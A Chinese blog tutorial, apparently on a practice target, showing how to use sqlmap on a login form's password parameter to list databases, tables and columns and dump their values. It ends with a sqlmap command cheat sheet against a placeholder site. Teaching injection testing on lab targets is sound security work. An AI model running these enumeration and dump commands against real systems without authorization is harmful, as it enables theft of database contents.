(二)SQL注入—sqlmap注入


登录界面

  • 因为登录发出的是POST请求,所以我们首先需要用burp先开启抓包,随便输入用户名和密码,点击登录

网站发起的POST请求

  • 然后将POST请求复制到记事本里保存为1.txt

  • 然后在当前目录开启终端,需要用到的命令为

  • sqlmap -r "1.txt" -p psw --dbs           
    -p参数意思是指定参数psw进行注入,因为上篇我们手动测试到密码处有注入点
    --dbs的意思是爆出数据库名称
  • 运行该命令,爆出数据库的所有库名

sqlmap正在尝试注入

  • 成功爆出两个库名,information_schematwosecu1_ques_2

  • 接下来选择一个数据库继续深入,我选择的是库information_schema,查看有哪些表,运行命令为:

  • sqlmap -r "1.txt" -p psw -D information_schema --tables
    -D的参数是指定数据库名
    --tables参数意思是列出数据库的所有表名
  • 运行命令,可以得到指定数据库的所有表名

  • 同理,获得一个表名之后我们也可以指定他的字段,比如列出表ALL_PLUGINS的字段

  • sqlmap -r "1.txt" -p psw -D information_schema -T ALL_PLUGINS --columns
    参数-T是指定表名的意思
    --columns 列出指定表的所有字段
  • 运行命令,查看ALL_PLUGINS的字段

  • 最后就是爆出字段的内容了,运行命令为:

  • sqlmap -r "1.txt" -p psw -D information_schema -T ALL_PLUGINS -C PLUGIN_LIBRARY --dump
    参数-C 用于指定字段名
    --dump 爆出字段的值
  • 运行命令,就能列出该字段的所有值了

  • 所以只要有注入点,就能够指定参数,用sqlmap就能很方便地列出数据库所有的数据。

  • 拓展:sqlmap常用命令

    检查注入点

    sqlmap -u "http://ooxx.com/a.php?id=1" 

    列数据库信息

    sqlmap -u "http://ooxx.com/a.php?id=1" --dbs 


    指定数据库名列出所有表

     sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname --tables 


    指定数据库名表名列出所有字段

     sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname -T tablename --columns 


    指定数据库名表名字段dump出指定字段

    sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname -T tablename -C columnname --dump 


    cookie 注入

    --cookie=COOKIE                 在需要登录的地方,需要登录后的cookie 


    执行指定的 SQL 语句

    --sql-query=QUERY 


    代理注入

     --proxy="(http|https|socks4|socks5)://127.0.0.1:8087"    支持多种协议


    POST注入

    sqlmap -r 1.txt                     如果cookie很长,或者需要使用post注入,请抓包将数据存入1.txt中

文章作者: wkai
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wkai !
 上一篇
用docker部署tomcat环境 用docker部署tomcat环境
前言 最近因为想学习下jsp,所以需要学习tomcat的部署,但是整来整去,发现还是docker香,所以我索性就用docker来搭建这个环境了,顺便复习波docker的使用 拉取镜像 首先我们选择一个好的镜像,好的镜像很重要,可以通过关键
2020-08-10
下一篇 
(一)SQL注入—基础 (一)SQL注入—基础
在SQL注入的过程中,如果网站的Web服务器开启了错误回显,则会为攻击者提供极大的便利,比如攻击者在参数中输入一个单引号', 引起执行查询语句的语法错误,服务器直接返回了错误信息。 下面我们来看个例子 靶场由知识盒子提供,地
2020-07-31
  目录